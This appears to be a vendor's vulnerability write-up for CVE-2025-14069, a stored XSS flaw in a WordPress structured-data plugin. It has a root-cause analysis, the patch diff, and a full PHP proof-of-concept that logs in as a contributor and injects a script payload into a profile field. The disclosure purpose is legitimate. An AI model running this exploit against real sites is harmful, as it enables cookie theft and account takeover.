Atomic Edge analysis of CVE-2025-14069:
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Schema & Structured Data for WP & AMP WordPress plugin, affecting versions up to and including 1.54. The vulnerability resides in the plugin’s handling of custom user schema data, allowing Contributor-level and higher authenticated users to inject arbitrary JavaScript. The CVSS score of 6.4 reflects the moderate impact, which is constrained by the attacker’s need for authenticated access.
The root cause is insufficient input sanitization and output escaping for the `saswp_custom_schema_field` user profile field. The code diff shows the primary issue in `/admin_section/common-function.php`. The plugin’s `saswp_get_kses_array()` function, which defines allowed HTML tags and attributes for sanitization, previously included a permissive `script` tag array (lines 1871-1876). This array allowed `class` and `type` attributes for `script` tags, effectively permitting script tag insertion. The vulnerable code path processes user-submitted custom schema data through this overly permissive allow list.
Exploitation requires an attacker with at least Contributor-level access. The attack vector is the user profile update functionality, specifically the `saswp_custom_schema_field` parameter. An attacker would send a POST request to the WordPress profile update endpoint, injecting a malicious JavaScript payload within a `script` tag. For example, a payload like `alert(document.cookie)` would be accepted. The payload is then stored and executed in the frontend context whenever the injected page loads for other users.
The patch addresses the vulnerability in two ways. First, it removes the `script` tag array from the `saswp_get_kses_array()` function’s allowed list (lines 1871-1876 in the diff). This change prevents the insertion of `script` tags entirely. Second, the patch updates the plugin version from 1.54 to 1.54.1 in two files (`structured-data-for-wp.php`). The removal of the `script` tag allowance ensures that any `script` tags submitted via the `saswp_custom_schema_field` are stripped during sanitization, neutralizing the XSS vector.
Successful exploitation leads to stored XSS, where malicious scripts execute in the browser of any user viewing a page containing the attacker’s injected schema. This can result in session hijacking, account takeover, defacement, or redirection to malicious sites. The attacker’s ability to act as a Contributor limits direct administrative actions, but stolen admin cookies could lead to full site compromise. The stored nature amplifies impact as the payload triggers for every visitor to the compromised page.
--- a/schema-and-structured-data-for-wp/admin_section/common-function.php
+++ b/schema-and-structured-data-for-wp/admin_section/common-function.php
@@ -1871,10 +1871,6 @@
'min' => array(),
'max' => array(),
);
- $my_allowed['script'] = array(
- 'class' => array(),
- 'type' => array(),
- );
//textarea
$my_allowed['textarea'] = array(
'class' => array(),
@@ -3765,6 +3761,43 @@
}else{
if( isset($currentUser->caps['administrator']) ){
$currentuserrole = array('administrator');
+ }else{
+ foreach ( $saswp_roles as $role ) {
+ // Map role names to key capabilities
+ switch ( $role ) {
+ case 'administrator':
+ if ( user_can( $currentUser, 'manage_options' ) ) {
+ $currentuserrole[] = 'administrator';
+ }
+ break;
+ case 'editor':
+ if ( user_can( $currentUser, 'edit_others_posts' ) ) {
+ $currentuserrole[] = 'editor';
+ }
+ break;
+ case 'author':
+ if ( user_can( $currentUser, 'publish_posts' ) ) {
+ $currentuserrole[] = 'author';
+ }
+ break;
+ case 'contributor':
+ if ( user_can( $currentUser, 'edit_posts' ) ) {
+ $currentuserrole[] = 'contributor';
+ }
+ break;
+ case 'subscriber':
+ if ( user_can( $currentUser, 'read' ) ) {
+ $currentuserrole[] = 'subscriber';
+ }
+ break;
+ default:
+ // Custom capability check (if role name matches a capability)
+ if ( user_can( $currentUser, $role ) ) {
+ $currentuserrole[] = $role;
+ }
+ break;
+ }
+ }
}
}
--- a/schema-and-structured-data-for-wp/structured-data-for-wp.php
+++ b/schema-and-structured-data-for-wp/structured-data-for-wp.php
@@ -2,7 +2,7 @@
/*
Plugin Name: Schema & Structured Data for WP & AMP
Description: Schema & Structured Data adds Google Rich Snippets markup according to Schema.org guidelines to structure your site for SEO. (AMP Compatible)
-Version: 1.54
+Version: 1.54.1
Text Domain: schema-and-structured-data-for-wp
Domain Path: /languages
Author: Magazine3
@@ -13,7 +13,7 @@
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) exit;
-define( 'SASWP_VERSION', '1.54' );
+define( 'SASWP_VERSION', '1.54.1' );
define( 'SASWP_DIR_NAME_FILE', __FILE__ );
define( 'SASWP_DIR_NAME', dirname( __FILE__ ) );
define( 'SASWP_DIR_URI', plugin_dir_url( __FILE__ ) );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14069 - Schema & Structured Data for WP & AMP <= 1.54 - Authenticated (Contributor+) Stored Cross-Site Scripting via User Custom Schema
<?php
// Configuration
$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: Script tag with allowed attributes per the vulnerable kses array
$payload = '<script class="saswp-xss" type="text/javascript">alert(document.domain);</script>';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check login success by looking for dashboard redirect or absence of login form
if (strpos($login_response, 'wp-admin') === false && strpos($login_response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Extract the user ID and nonce required for profile update.
// This typically involves fetching the profile edit page to parse the nonce.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POST, 0);
$profile_page = curl_exec($ch);
// Parse for the nonce (simplified example; real implementation needs robust parsing)
preg_match('/name="_wpnonce" value="([^"]+)"/', $profile_page, $nonce_matches);
preg_match('/name="user_id" value="(d+)"/', $profile_page, $user_id_matches);
$nonce = $nonce_matches[1] ?? '';
$user_id = $user_id_matches[1] ?? '';
if (empty($nonce) || empty($user_id)) {
die('Could not extract required nonce or user ID.');
}
// Construct POST data to update the vulnerable custom schema field.
$post_data = array(
'user_id' => $user_id,
'action' => 'update',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/profile.php',
'saswp_custom_schema_field' => $payload, // The vulnerable parameter
'submit' => 'Update Profile'
);
// Send the exploit request to update the profile with the malicious schema.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$exploit_response = curl_exec($ch);
// Verify success by checking for the payload in the response or a success message.
if (strpos($exploit_response, $payload) !== false || strpos($exploit_response, 'Profile updated') !== false) {
echo 'Payload likely injected. Visit the user profile or frontend pages where the custom schema renders to trigger XSS.';
} else {
echo 'Injection may have failed. Site might be patched or payload filtered.';
}
curl_close($ch);
?>